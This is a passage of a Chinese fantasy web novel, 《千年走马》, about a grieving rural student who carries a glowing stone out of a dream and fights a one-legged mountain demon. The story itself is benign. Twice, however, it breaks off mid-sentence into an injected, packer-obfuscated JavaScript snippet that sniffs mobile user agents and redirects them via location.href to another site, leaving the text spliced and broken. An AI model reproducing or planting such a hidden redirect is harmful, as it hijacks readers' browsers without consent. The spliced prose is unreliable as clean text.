《千年走马》 1. 第 1 章 前18年夏烛从来没有做过梦。 但如果此时此刻不是身在梦中世界,她也想不出其他什么解释了。 因为一切都显得太不合理,荒唐离奇。 脚下是无边静水,人却可立于水面之上如履平地,周围实在太过安静,她甚至一度以为是自己耳朵出了问题,即使在水面上行走也丝毫激不起涟漪。 死寂酿成一种莫名的孤独感慢慢爬上她的脚面,那种感觉就好像她在这里孤身一人呆了千年万年之久,久到没有勇气张开嘴发出属于自己的声音,即使无法感知环境的温度,空虚也让血液凝结冷飕飕地传遍四肢百骸。 正想做点什么,也许应该跑起来,地面水镜一般的边缘开始虚化,如同正在消融的冰雪,透出底下潜伏一冬的绿色。 消融的范围越来越大,露出的部分颜色加深渐变成墨绿再慢慢顺滑地耸出暗夜里高插入云的群山,山脉蜿蜒成型最终连接天地,夏烛屏息凝神看着眼前的变化, 忽然一颗拖尾的流星从群山上方冲出,速度之快眨眼之间几乎冲撞在她身上。 来不及反应躲闪夏烛只能下意识抬起手臂挡在脸前,一阵烟花绽开的声音之后,一切归于平静她并没有等来意料中的疼痛。 再次睁开眼睛,原本刚刚建构的青山不见,重新隐没在一片寂白之中,整个空间再次恢复浑圆完整。 那颗流星消失不见,什么痕迹也不曾留下。 这是什么地方,夏烛记不起前因后果,也没有关于自己的任何认知,一种从心底升起的判断告诉她这是在梦里。 为什么? 她只能发出这个疑问。 为什么在这里,为什么是她。 仅此而已,她的大脑思维无法再做任何运转。 电光火石间远处响起一阵轰鸣,像是夏季暴雨前的闷雷,或者表演即将开始时的鼓点。 心跳好像和鼓点契合上了,胸腔闷响,她竖起耳朵试图追寻声音的来源。可那些声音杂乱无章,辨别不出具体的方向,更应该说是四面八方。 轰鸣声迅速靠拢集中,夹带着鼓角争鸣和震天喊杀。 所在场景瞬息从流星坠空移动到远古战场,毫无逻辑的变化,夏烛确定自己身陷罗浮蕉鹿。 声音越来越大,近在咫尺让人心惊,将士呐喊吐出的浊气仿佛就吹在耳边,可是四下仍旧空无一物。忽然一把沾血长矛从胸前穿过,随之身边出现成百上千穿着藤甲兽皮的士兵嘶吼着跑过,烟尘凭空在水面上四起,旌旗在头顶的腥风中飘摇。 所有的一切如同蜃气结楼风一吹又全都消散,连同刺穿夏烛的长矛一起无影无踪。 只有胸口的位置没有任何伤口却仍在隐隐幻痛。 变换的场景无根无据也不知道有什么意味暗示,夏烛云山雾罩却也不想费心去猜测,也许只是记忆闪回根本没有什么含义。 过载的耳朵仍在寂静里轰鸣,她只能微微弯着腰喘着气,太阳穴突突直跳。 正在她觉得梦境到此为止的时候,一只小手扯住了她的衣角。 夏烛茫然地与身边凭空出现的小孩对上了视线。 他一双眼睛长得十分漂亮,看上去是个乖巧可爱的孩子。 “你怎么了?”小孩关切地询问,声音还很稚嫩却清亮好听,稍稍抚慰了一下她的耳朵。 “你没事吧。”他见夏烛没有反应看上去迟钝又呆愣,眉心皱了起来,俨然一副小大人的模样。 只不过这次的询问听起来有些僵硬,似乎是不想让自己的关心显得太过刻意或者急切。 夏烛下意识想抬手抚平小孩的眉结,告诉他我没事,不要总是皱着眉头,多显老。 可是一伸手就愣住了,她不知道这个“总是”从何而来。 “2号,过来。” 一道声音从不远处传来,打断了夏烛的疑惑。 抬头看向声音的来源,一个穿着白色长袍的奇怪男人就站十步开外,只是面容不知为何模糊不清。 他朝小孩招了招手。 “好吧。”男孩有些不满,但还是松开了夏烛的衣服。 “我走了。”他说,被叫做2号的小孩迟疑着朝夏烛垂落在侧的手使劲捏了一把,疼得让她怀疑两人是否曾经有什么过节,小孩趁她现在脑子转不过弯于是伺机报复。 “再见。” 2号站朝着白袍男人方向走了几步又停下来回头向她道别,脸上的表情看起来有些难过,甚至充满哀怨。 那副模样实在可怜,夏烛也跟着悲伤起来。 “别忘了回来。” 小孩又说。 回来?回哪里? 他看夏烛的眼神,就好像她曾经狠狠抛下他一样。 真是奇怪。 奇怪的梦,奇怪的人。 再次捂住胸口的位置,这个含糊离奇的梦实在令她喘不过气。 抬头的时候,男人和小孩都已经不见。 又是这样,夏烛丧气地蹲了下去,这个梦怎么还不结束。 她将头埋在双膝之间,眼见脚下的水面又变成了艳丽的橘色,无奈抬头,面前的景象又变了。 一轮巨大的红日正在不远处缓缓落下,将整个空间都浸染出绯色。 从夏烛的脚下往前,水面逐渐褪出黄土,黄土之上又渐渐长出一片金黄麦穗,残阳烘烤,甚至能闻到麦香。 麦田中间,红日之下,一个老人背对着她。 老人身上的蓝色布衣有些发白,开襟在风中鼓起,露在外面的皮肤干枯斑驳,就像一棵不再发芽的老树,深深扎进黄土里。 他交叠在身后的手里攥着旱烟袋,此刻正微微仰着头,在麦风里静静注视着那轮落日。 红日热热地蒸着夏烛的皮肤和眼眶,她不合时宜地想起一句“天上人间两渺茫,好把唏嘘答上苍”。 她想起来自己是谁了,想起关于自己的一切。 “爷爷。” 她深吸了一口气,双手握成拳为自己蓄力,大声对着老人的背影喊道。 “爷爷!” 然后夏烛跑了起来,朝着那片麦田,那轮落日。 明明不远的距离,可是好像再怎么努力也难以抵达,老人始终在离她不远的地方,站在那些摇晃的麦子里,他轻轻地摆着头,手里的烟杆一下又一下拍打着大腿。 夏烛听到他有些干哑的声音从天边飘来。 听到他唱起:“青山那个绿水哎—” “多好看——” “高粱那个红来哎——” “豆花香——” 她还在拼命地跑,喉咙干涩呛出锈味也还要继续跑下去,望着老人的背影她只能在心里祈求他再等等。 不要走。 再等等她。 不要留她一个人。 可是脚下的黄土地就像脱离器械的传送带,夏烛开始在原地挣扎,老人也像丝毫没有注意到她的存在一般仍然背对着,用一双干瘪的手抚过麦尖,温暖的夕阳照着他,也照着夏烛。 “满担那个谷子哎——” “堆满仓——” “爷爷!” 地面塌陷崩解,身后的流水追了上来,她失去着力点脚下一滑,跌进无边的水池中。 水即将漫过头顶的时候夏烛看见爷爷终于转了过来,他堆起层层叠叠皱纹像麦浪一样的脸上绽开无比幸福的笑,他开裂的嘴唇一张一合。 “小烛。” 是她的名字。 红日融化流进水里,夏烛感到周身温暖,如同一个大雁飞过,炊烟袅袅的午后。 “正态分布三个标准差概率必须背到条件反射。” 睁开眼睛,面前的草稿纸上一串歪歪斜斜的笔记,断墨的中性笔还握在手里,耳边是数学老师的再三强调。 夏烛有些不敢相信自己竟然睡着并且有史以来第一次做梦了,而且还是在争分夺秒的高补班课堂上。 梦中的内容睁眼后就忘一干二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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再次摁亮屏幕,除了时间,就算是直板机也会告诉你今天的日期。 “2025年10月32日。” 32号? 夏烛停下脚步的同时四周的人群像被按下了慢速键,所有的吵闹和嬉笑被拉扯变形,太阳白晃晃的没有了温度,装饰品般挂在头顶上。 她还在梦里。 从课堂上醒来却进入了另一个梦。 梦中梦,这种经历对于一个从记事起就没做过梦的人来说过于离奇,梦境竟然如此真实吗? 在夏烛思考的期间,周遭的一切仍旧缓慢发生着,她抬起脚向前迈了一步,当鞋底完整贴住水泥地时,整个世界开始旋转,像镜头长曝光后的效果,直至最后融成一片黑暗。 黑暗中辨不清方向,也无法得知四周的情况,她不敢轻举妄动,放缓自己的呼吸,试图捕捉任何轻微的动静。 如果是梦的话是否可以自主结束? 现在正发生的一切似乎有无尽循环的趋势,这让夏烛有些不安。 双眼慢慢适应了漆黑的环境,她察觉到脑袋旁边有什么东西在闪光,僵硬地转动了一下脖子,发现闪光的是一颗悬在半空的绿色石头,看起来像一块翡翠。 可是翡翠不会发光,更不会悬空。 绿色的石头发出幽幽的柔光,充满神秘的气息,吸引人上前细细查看,夏烛双眼被幽绿的光芒填满,只觉得意识开始昏沉,后颈一阵刺痛,是一种晕厥前的征兆。 彻底失去意识之前,她才发现这个空间内还有另外两人的存在,就在离她不远的地方。 那是两个无论怎么看都很奇怪的人。 穿得像原始丛林中的野人,身体绿油油一片,右耳一侧都挂着一颗棕色的闪闪发光的珠子,在黑暗中尤其醒目。 还有他们的表情,就算距离远,人恍惚,夏烛也能看见两只企鹅一样大张着的嘴,下巴几乎要掉到地上,正对于她的出现表示十二分震惊。 就好像她是什么突然闯入别人领地的不速之客。 夏烛想要做个友好且“我跟你们一样不解”的表情,但她实在没力气了,闭眼之前看见两人正表情夸张地向她跑来。 2. 第 2 章 耳边一直有嗡嗡声,像一只苍蝇绕个不停。 可是现在是冬天应该没有苍蝇的。 使劲集中注意力,苍蝇开始讲起降幂公式。 视线慢慢聚焦,草稿纸又在视野里逐渐清晰,她仍坐在教室里,数学老师在讲台上强调。脑袋还有些昏昏沉沉的,她怕自己这样下去会精神衰弱。 一样的场景又再次上演。 夏烛想把手伸进桌空,摸出手机来确认一下,突然发现自己的左手好像握着什么东西。 硬硬的,凉凉的,有些硌手。 她松开手指,掌心里安静躺着一块翡翠一样的石头,不规则的石棱是硌手的元凶。 如果这次是真的醒了,那就意味着她从梦中带出了一块真实的石头,离奇程度可想而知。但假如她还在梦里,那到底有完没完了。 把绿色石头重新握紧,仔细感受那种它的冰凉和突起,她的呼吸规律,心跳也正常。往左转头透过窗户还能看到楼下的操场,上体育课的学生像一只只蚂蚁,在圆弧的轨道上一圈圈地跑着,从她的角度看上去就好像在进行某种科学实验,用以证明这类物种的智慧和认知维度。 难得今天是个好天气,太阳带着柔和的温度照着大地。四季常青的绿树在微风中闪着叶子,课堂被昏昏欲睡的气氛包裹,老师的讲课声反而显得环境更加安静。 她低下头看向自己的直板机,屏幕上跳动着电量不足的信号,以及今天的日期。 2025年10月31日。 没有任何问题,一切正常。 如果日期是确认是否身处梦境的唯一标志,那她应该已经醒了过来。 把石头重新揣进外套口袋,下课铃声适时响起,上午的最后一堂课,老师断然不会拖堂。 穿上外套,从桌上收走几本书,侧着身体穿过课桌之间,有自带饭盒的同学选择留在教室里享用午餐,饭菜的香味真实到让人反胃。 她不打算去食堂准备先回女生宿舍。 今天是周五,这周周末双休,她得回家一趟。不管是梦还是石头,都无法阻止夏烛回家的脚步。 她家住在离市区两百公里外的乡镇上,回家的话,要转一次大巴,一次私人面包车,下了车还得步行半小时才能到家。 如果不早点回宿舍收拾东西,可能会赶不上回县里的最后一趟车。 当然比起虚幻的东西,此刻某人就能轻易挡住夏烛的去路。 叶理抱着手臂,课桌之间的距离只够一人通过,她就站在那里冷眼盯着夏烛,没有丝毫要放行的趋势。 夏烛只能停下来,面对面对上叶理的眼睛。后者眼皮一压从头到脚将夏烛扫了个遍,从她整齐的刘海到厚重的黑框眼镜,发白的校服外套再到同样老旧的运动鞋。 叶理像是游戏NPC被触发了对话,皱起好看的鼻子,那句熟悉的嘲讽又从她嘴巴里吐出来。 “好臭啊夏烛,你身上到底是什么味。” “艾草。”夏烛平静地回答,衣服里有爷爷给做的驱蚊香包,艾草、苍术、陈皮,磨成粉,不论春夏秋冬,都戴在身上,那种味道让她安心。 “哼。”叶理鼻子里发出一声嗤气,侧过身从夏烛旁边挤了进去。 她当然知道那是艾草的味道,她最讨厌的就是艾草了。 叶理走到自己的座位跟前,提前点好的外卖已经有人帮忙取来就放在桌面上,她一屁股坐进椅子,余光瞥见桌空里一块粉色碎花布包好的便当,是经过专门的营养师搭配好的午餐。 粉色碎花简直让人心烦意乱,她将便当抽出扔进书包里,再拉紧拉链,半点也别叫她再看到。 被讨厌气息包裹的夏烛已经走到门口,叶理看到她离开的背影更是气得吃不下任何东西。 收拾桌面,再被对气味敏感的好同学堵了一会儿,走廊上的人已经三三两两稀疏起来。她们的教室在三楼,靠走廊这侧的院子里有一颗高大的雪松,三楼的高度刚好靠近树冠。 从树冠旁走过,蓝绿色的针形叶片丛中抖擞一阵掉下片突兀的宽面树叶,叶面上的脉络奇特,风一吹,就跟在夏烛身后飘飘扬扬穿过长长的走廊。 车厢晃晃悠悠,充斥着一股反复过滤后的人味。冬天黑得早,车里车外早就一片暗淡,只有几个人的手机反着白光。 夏烛坐在最后一排,她几乎每次回家都坐在这个位置。 趁学校双休,每半个月就要长途跋涉一次,平常时间紧张就住在学校的宿舍。虽然这条路漫长乏味,翻山越岭又消耗人的精力,并且山路尽头的家也无人等候。 但她还是会回去。 就像是习惯一样,买票,上车,在车上昏昏沉沉三个小时,回到熟悉又陌生的房子,冬天的时候山路崎岖只能打着手电筒,夏天还好有夕阳相送。就算只能在家里呆一个整天,周末又得走一遍流程返回学校,但这么短的时间已经够夏烛整理心情了。 不管走了多远,她还是喜欢回到裸露的大地和无论枯荣都生机勃勃的自然里。 以前爷爷就说过她像一棵草,看似柔弱却能野火烧不尽,只要有春风吹过,来年总能生生不息,夏烛很是认同。 小草就应该长在山野里。 快到年底了,等过了年开了学,夏天一到她又要经历一次高考。 是的,又一次。 夏烛是个品学兼优出类拔萃的复读生。 在老师和邻居的大娘面前她说自己是因为睡过了没赶上考试,可实际情况是考试当天夏烛早早起来,喂了鸡,下了地,什么该做的不该做的她都做了就是没去考场。 班主任痛心疾首,夏烛可是她的得意门生,她还指望着得意门生能一举摘得市状元的桂冠,给自己评选优秀教师添砖加瓦,如果她知道这个状元候选人是故意没去,一定会当场气晕,气她这个顽石又臭又硬就是不开窍。 想到即将再次到来的高考,夏烛的手指又开始痉挛,她把两只手交叉缩进袖子里,头靠在结出水汽的车窗上,外面的车灯如同流萤。邻座的男人睡了几觉醒来,好不容易停止了震天响的呼噜,又自顾自手机外放刷起短视频。 先是传来夸张的笑声,然后是一些听不清歌词的流行音乐,男人的手指在屏幕上不耐烦地翻动,最终停在一段咿咿呀呀的哼唱。 唱得是老古董夏烛熟悉的。 “那一天爷爷领我去把京戏看。” “看见那舞台上面好多大花脸。” 男人的手机也许出了一些问题,声音伴随着电流声滋滋回响在整个车厢。 “蓝脸的窦尔敦 盗御马……” “红脸的关公战长沙……” 在欢腾的戏腔中,夏烛身体一沉靠着车窗睡去。 好在这一觉没有再做折磨人的梦,折腾了一路终于到了家,天太黑什么也看不清,她累到等不及烧水洗漱,就着冰到刺骨的水迅速解决了一遍,就躺上了自己的小床。闭眼前她还在脑袋里确认了一遍家里四处的门窗都已经锁好。 身上压着几床厚棉被还嫌不够,她把校服外套也盖在了最上面,乡下的夜晚安静如水,很快就进入了深度睡眠。 不知道过了多久,也许几个小时,也许几分钟,寂静里飘来一串歌声,钻进夏烛的耳朵。 “蓝脸的,窦尔敦,盗御马……” 她几乎是瞬间清醒。 醒后的眼睛早就适应了黑暗,蓝莹莹的月光透过纱布窗帘洒了一地,窗台下的书桌,书桌旁的洗脸架都在黑暗里轮廓清晰地立在各自的位置上,没有其余多出来的异样。 她开始以为自己听错了,也许是今天课堂上连续两个怪梦,导致神经有点敏感脆弱,不过这种事情她也头一回遇到,好在夏烛处理学习以外的东西都比较迟钝,只要脱离出来也能正常吃喝睡觉。 盯着透光窗帘上的蓝色百合印花,思绪慢慢飘忽,快要再次沉入睡眠之际,耳边突然又响起一句歌声。 “蓝脸的,窦尔敦,盗御马。” 那声音尖利刺耳又带着狡黠的笑意,只是吐字不清仿佛幼儿学语。 夏烛再次惊醒,她确定这次听得一清二楚不是幻觉,更糟糕的是歌声好像就从身下的床底传来。 身上棉被似有千斤重,压得她喘不上气来,她双脚冰凉,血液似乎凝固,无法顺利传送到四肢。黑暗里能做的只有紧紧盯着头顶的天花板,尽量放平自己的呼吸,她竖起耳朵想要通过细微的动静判断出房间里是否还有第二人的存在。 凝神静听。 一声。 两声。 就在床底下,隔着一个床板的距离,还藏着一个发出粗重喘息的人,或者别的什么。 现下最重要的是思考该如何应对,她知道自己脆弱的木板床,就算轻轻挪动身体也会发出刺耳的咯吱声,所以目前只能保持静止不动,四肢僵硬地躺在床上装作还没醒。 离开房间的门就在三步之外,可是因为习惯,睡觉前夏烛总会细心锁上门,这是从前爷爷再三强调的。锁好的门和窗,现在看上去都没有被破坏,床底的东 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蓝脸怪似乎没想到夏烛会给自己一拳,它被砸得有些懵,身体扭曲地卡在地板和床缝之间,维持着这个奇怪姿势。 夏烛趁他还在加载中赶紧扭开门锁,取下铰链,闷头冲向厅堂。 糟了,她边跑边想,厅堂大门也上了锁。 “盗御马!”蓝脸怪终于加载完毕从身后追了出来。 大门是用钥匙反锁上的,而钥匙此时此刻还躺在卧室床上的外套里。夏烛只能随手抄起门边的铁锹,转身与追来的蓝脸怪对峙。 莹蓝的月光下,蓝脸怪就站在卧室的门边,这回夏烛总算能看清它的全貌了。 上半身像一个拥有啤酒肚的中年男人,肥鼓的肚皮上外翻着肚脐,只不过皮是蓝色。怪物的上下身躯充满反差,下半身只有一条细腿,单脚独立,脚尖反转对着身后,看上去无比吃力地支撑着圆滚的身体。 山魈。 手臂上起了一层鸡皮疙瘩,她想起来自己曾在书上见过。 独足反踵,面蓝身毛,笑则唇掩目,是为山魈。 夏烛紧紧握着手里冰凉的铁锹,山魈倚在门边,露出艳红的牙龈肉,咧嘴笑着,虽然没有嘴唇掩目,但嘴里模仿着人类语言哼着不成调的说唱脸谱,甚是怪异。 它把自己比作了歌里的窦尔敦。 夏烛很想冲进房间再看看手机,确认此刻到底是不是在梦里,豁出去和怪物拼命是会醒来还是就此壮烈牺牲。 门边的山魈可不会给她时间确认,将腰往下一塌,膝盖一弯,一个蓄力就跳到了夏烛面前,要想夏烛原本离它少说有个四五米。 眼看山魈的爪子就朝自己挥来,她抡起铁锹就往妖怪头上狠狠砸去,却被它轻易挡了下来,夏烛意识到了就算自己平日有锻炼身体强筋健骨,从小到大上山下河无一不会的,但和面前的蓝脸妖怪相比还是有很大的体力悬殊。 山魈挡住铁锹的力道甚至震麻了她的手,真切的感受让她确认自己并不是在做梦了。 “盗、御、马。”山魈发出尖细的声音,将头一歪,伸手来抓夏烛的脸。 速度快到她还来不及反应,只是条件反射地闭上了眼睛,千钧一发,门外突然传来一阵噼里啪啦的鞭炮声。 “啊啊啊——”山魈猛地收回双手抱着头尖叫起来,声音甚至盖过鞭炮的响动,夏烛觉得自己的耳道内部几乎受伤。 山魈害怕爆竹。 趁着它正抱头作痛苦状,夏烛掀起铁锹给它脑袋上来了一下子,然后迅速拉开和它的距离。 鞭炮还在响,她猜测也许是村里谁家在办白事,那山魈一直捂着耳朵痛苦尖叫,似乎无法再忍受下去,独脚向上猛地一跳,身体在半空缩成一个蓝色的肉球然后嘭得一声凭空消失了。 夏烛举着铁锹站在原地,手掌心还有些发麻。 鞭炮声逐渐停止,房间里一片死寂,刚才的一切仿佛只是幻觉,她这才感觉到害怕。 站在原地呆了片刻,然后拿着铁锹回到了房间,把铁锹倚在床头,拿起床上的外套穿了起来,外套里有大门的钥匙,以防万一今晚还有别的事发生。 然后她摸到跟钥匙放在一起的,还有一个冰冰凉凉,硌手的存在。 是那颗莫名出现的石头。 夏烛想起山魈重复的歌词,窦尔敦指的是它自己的话,那御马呢? 3. 第 3 章 夏烛拿出口袋里绿色的石头,走到窗边。 纱帘遮不住月光,在过滤蓝色后的月光下,石头晶莹透亮,石心隐隐还流动着绿色游光。石头的剔透程度像是玻璃,但是拿在手里的分量却很足。 如果书里记载的民间传说怪物山魈是真实存在的,那梦中的石头出现在现实生活或许也有迹可循。 两者之间是否有联系,短短一天发生的事情已然超出夏烛18年来的认知。 反正一番殊死搏斗她早已没有了睡意,拉亮电灯,走到床尾,那里有成山堆积,按照分类用麻绳捆在一起的书,全是夏烛的宝贝。 今天一天都太过离奇,要说害怕其实兴奋更甚。 夏烛的内心并不似她淡漠的外表,对于未知的事物有莫名的热爱,反之恐惧一切常规。就像去年高考后突然患上的类似应激障碍的考试恐惧症,实则是她无法确定自己是否就要跟随大众的人生法则,寒窗苦读考上一个大学,再流入社会做再平凡不过的一员。 夏烛坐在书堆里,从记载了山魈的《酉阳杂俎》《广异记》等一页页翻找,试图顺藤摸瓜找到跟这块绿石有关的记载。 可是直到鸡鸣响起,天边泛白,她仍然一无所获。 其实关于奇石的资料有很多,比如三生石上旧精魂,唐代的《甘泽谣》中有记录一颗立于冥府忘川河畔的三生石,可是三生石与前世今生的姻缘有关,跟梦却没有什么直接联系。还有《太平广记》中说唐玄宗时期,有一颗自鸣石,位于华岳祠前,石臼自鸣如雷,预言了安史之乱。如果夏烛的绿石类似自鸣石,那今晚山魈偷藏于她的床底,自鸣石却泰然藏在她的口袋里一声不吭,显然失职。 还有很多类似的神奇石头说,可都没有一样显示与梦有关。 夏烛打算回到学校,去图书馆用电脑上网查查。 虽然她始终认为书中自有黄金屋,可是肉身人眼,不利于效率办事,她也不是什么迂腐的人,如果不是想节约多存一些钱,早就给自己换个智能手机玩玩了。 折腾一夜,夏烛躺回床上,摸出绿石借着日光来回翻看,亮晶晶的,真好看,越看越喜欢。 她这人没什么其他的爱好,可能是穷惯了的原因,尤其热爱一切闪亮的会发光的东西。 在床上躺了十分钟,夏烛还是没有睡意,尽管身体很是疲惫,但她的大脑却异常兴奋。简单回想总结了两天以来发生的事情,在怀疑自己的精神是否出问题的同时,那颗摸得着,看得见的石头却又时时刻刻提醒她事实如此。 她这个世界上已经没有别的亲人了,属于夏烛的东西只有爷爷留下的房子和院子里的两只鸡。她甚至没有朋友,虽然是很想同别人建立友谊的。18年,从小女孩长成大姑娘,除了爷爷以外,世界上没有什么能和夏烛捆绑在一起。她固执得认为要在这个星球上生存是需要重量的,不是吃了多少长出的身体重量,而是与你有关的重要的一切通过牢固的关系网络联系在一起的集合重量,有了这个,就能稳稳地扎在大地上。 爷爷去世之后,这间摇摇欲坠的木屋和两只骨瘦如柴的鸡加上夏烛自己就像漂泊的浮萍,无根无基,风吹一下就烂得一塌糊涂。 可现在她阴差阳错地拥有了一颗亮晶晶的,从梦里得来的石头,莫名其妙的,就像悄悄和这个世界的另一面接上了头。有什么东西冥冥之中召唤着她,虽然她自己也不太确定。 “也许我就是那匹等着被牵走的御马呢?”深夜躲藏在暗处的传说妖怪也许不是为了石头而来,就算只是路过小破屋,闻到夏烛的肉香而垂涎三尺,那也挺好,这是她的吸引力,她的价值。 她可以握着铁锹,从不可战胜之力手下抢夺自己的生命。 她喜欢这样。 夏烛从床上坐起,每次回家的流程还是需要再走一遍。 房间的窗帘是爷爷扯来的纱布挂的,上面有几朵百合的印花,小时候睡不着的午后,夏烛总爱盯着上面的花纹发呆,看光圈在窗帘上变成一个小人模样,翻过一重重花朵做成的巨山,从上面一路冒险最终沿着微风扬起的缝隙逃出。 拉开窗帘再推开窗,窗台下的木桌上有小夏烛学刻的“早”字。木桌是爷爷用旧门板改的,爷爷的木工做得特别好,这么多年过去依然坚实稳固,就像他为夏烛建立的一颗心一样。 她烧了水,洗漱,还煮了锅米饭,再洗好青菜,择了一些菜叶掺进玉米糁里去院子里喂鸡,蹲在鸡窝前苦口婆心地劝说它们多吃一点,好长点肉,这一公一母两鸡平时是隔壁的婶子在帮忙喂,一不打鸣二不下蛋,每到饭点就昂着头,迈着四方步傲娇地走开,留给夏烛和她精心制作的鸡饲料两个鄙夷的眼神。 夏烛曾想把两只瘦鸡送给婶子,可是婶子说留在家里,每次她放假回来还能做点事情,像夏爷爷还在的时候一样。 念想,婶子是这么说的。 于是夏烛也学着爷爷的模样,早起打扫院子,喂鸡做饭,再去田地里转上一圈。 爷爷在她上高一的时候把家里的几亩田转了出去,因为那会儿他的身体状况一落千丈,再不能下地干活。 以为没有了体力劳动,爷爷的身体或许能好一点,可没想到,躺在床上的爷爷更像一根风中之烛,东方的太阳一日一落,他更加快速地油尽灯枯。 爷爷说,他们是生在黄土之上的人,离开土地,就像斩断了几十年来的根基,所以最后的那几天,爷爷说什么也要下床走动,到外面去。 说来也神奇,老人的双脚踩住地面竟然变得稳稳当当,他走出房门,走到院子里,落日烘烤他干枯的皮肤,像是母亲的手温柔的抚过,她着急得跟在后面,看见爷爷走进泥巴地里,站在广阔的天地之间,风从远处向她们扑来,爷爷就像一截枯木,竟也在大地的承托,天穹的抚慰之下,发出最后一点新芽。 那时候的落日红得像一颗粉面的咸蛋,云霞鎏金,她以为爷爷会就此恢复生机。 可那天之后,爷爷的情况急转直下,住进了镇上的医院,他卧在床上,浑浊的眼睛无法聚焦,却努力在灯光下找寻夏烛的身影,他流出几滴眼泪,像要流尽最后的生命。 那段时间马上就要高考了,那是所有意义上的“最重要”,爷爷一直撑着一口气,他认为自己的离开必然会影响孙女的人生大事,他也实在放心不下这个世界上最宝贵的人。 可是苦苦支撑行将就木的身躯是何其之难,他的呼吸像破败的风箱,拉扯在夏烛的心上。 终于在考试的前几天,一个晚上,夏烛从学校偷跑出来,找了黑车连夜回到镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656052|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 在爷爷的病房外面,他的呼吸一急一缓,偶尔发出巨大的呻吟,夏烛将眼睛揉搓到通红,从自己牙牙学语想到穿上第一件裙子,然后是无数次跟在爷爷身后,赤脚奔跑在田埂上。 最终,她推开房门,趴在爷爷的床边。 “是我,爷爷。” “我是小烛。” 病床上老人的意识好像清醒了许多,他听到了夏烛的声音,努力用着最大的呼吸声回应着她。 “爷爷,我来看看您。”她伸出手一下一下梳着老人已经发灰的头发,摸起来像一堆枯草。 “爷爷,我已经考完试了,我觉得考得还行,你知道的,你的孙女就是最聪明的。”夏烛握着老人的手。 “镇上有名额,可以资助我读完大学,我估算了一下分数,能去省城读最好的那一个,他们学校的奖学金可多了,你记得吗,我之前给你看过的。” 夏烛的声音越来越轻,她看见爷爷的另一只手突然抬了起来,在半空中挥着像要抓住什么。 “爷爷,我有能力照顾好自己。不会让你担心。” “从小到大,我都是最厉害的不是吗。” “爷爷,你走吧。” 不要再痛苦地挣扎,只因为放心不下她。 一滴眼泪顺着眼角的沟壑留下,因为皮肤不再顺滑而永远停在那里,伴随着他巨大的一声呼气。 床头的检测仪器发出长久的嗡鸣。 从此她更加惧怕考试。 夏烛又在家里睡了一晚,那夜平静无梦,例如恶鬼妖魔来袭之类的的事情并没有再次发生。 周末一早,她照常起床,烧水,洗漱,做饭,喂鸡。 然后沿着从前家里的田梗走了几圈,望着天边的朝阳和电线杆上的雀鸟,在早烟和晨风里心情愉快地打了一套军体拳。 夏烛热爱强身健体,她坚定认为这是革命的本钱。 何况,以后说不定还有诸如昨晚的事发生。 最后的最后她去了埋葬爷爷的地方,平原上孤零零的一座坟。 爷爷讲她的爸爸妈妈在她出生后就离开了,他们厌弃土地和山野,去钢铁密布的地方势必闯出一片天地,只是山高水长,从此杳无音讯,生死也不明。 爷爷说他不怪他们,各人的人生总有不同的选择,只是苦了夏烛,小小年纪就没有亲妈亲爹在身边。 可夏烛觉得一点也不苦,爷爷给了她足够多的爱,那些爱能弥补一切,甚至在爷爷离开之后都永远不会熄灭。 结束了回家的旅程,沿着来时的山路,坐上了回去的车。 黑暗之中,五感会尤其敏锐,即使在睡眠状态。 夏烛睡得难受,恍惚之间总觉得有一道灼热的视线在注视自己。 她努力从黑沉中挣扎醒来,睁开眼睛的同时反手伸进了枕头下面,那里有一把事先准备的小刀。 头顶上方,上铺的床板底下,原本应该空无一物的地方贴着一片宽面的树叶。 叶面上暗金色的脉络形状奇特,从叶梗处延出再绕成一个圈,连结成眼睛的模样。 不对,就是一只眼睛。 因为它刚刚明显眨了一下。 夏烛反手抽出小刀,对着叶片上的眼睛刺了上去。 4. 第 4 章 寝室原本是个四人间,上下床铺,但是只住了夏烛一个。 她自己睡在靠窗边的下铺。 拉亮宿舍的电灯,夏烛将那片叶子翻来覆去地看了个遍。 叶片中间被她用刀刺破了,金色脉络织成的眼睛花纹着实逼真,看起来更像是工艺品,但也不能不畏惧大自然的鬼斧神工。 翻过叶子的背面,她用指腹揉搓了一下,没有任何粘黏物的残留,却能稳稳当当地贴在床板下。 然后她想了想,撕碎了叶片,从窗户扔了出去。 夏烛的心跳得很快,但是光表面上看,她还是那样一副木讷呆板的表情。没有人知道她此时此刻是如何的激动。 那种兴奋说不清道不明,就暗自藏在奔流的血脉之下,令她自己也感到意外。 讲台上站了两个人,班主任说是新来的同学,正在叫他们做自我介绍。 新同学一高一矮,矮的那个是个长发编成两个辫子的女生,皮肤是好看的暖棕色,阳光打在她身上,头发有些微微发红。她的眼睛又大又圆,嘴巴也圆润可爱,整个人就像一颗散发着香味的巧克力,是个漂亮女孩。 巧克力冲着台下的大家扬起一个甜甜的笑,然后张开嘴说道。 “同学们好,俺叫风枫,这是俺哥风眠,希望能和大家友好相处,共同进步!” 讲台下响起一阵窃窃私语,还有没能抑制住的偷笑。 叶理往后一靠,鼻子里发出冷哼,她斜睨了隔了三四排靠窗正经危坐的夏烛一眼。 “又来一个土老帽。” 风枫的哥哥风眠似乎和妹妹长得不是很像,他瘦瘦高高,皮肤白皙,五官倒也端正清秀,只是比起妹妹莫名显得柔弱一点。 风眠站在风枫旁边无奈地摇摇头,他的自我介绍一板一眼,声音轻轻的。 “好了好了。”班主任打断了大家的热烈讨论,“两位同学可以找个空位坐下。” 夏烛坐在靠窗这列的后排,她的旁边常年空出一个位置,不管是以前,还是复读之后。 听到老师这么说,风枫和风眠走下了讲台,夏烛用好学生的姿势板板正正地坐在位置上,抬头对上了风枫的视线,看着她一步一步走到自己身边坐下。 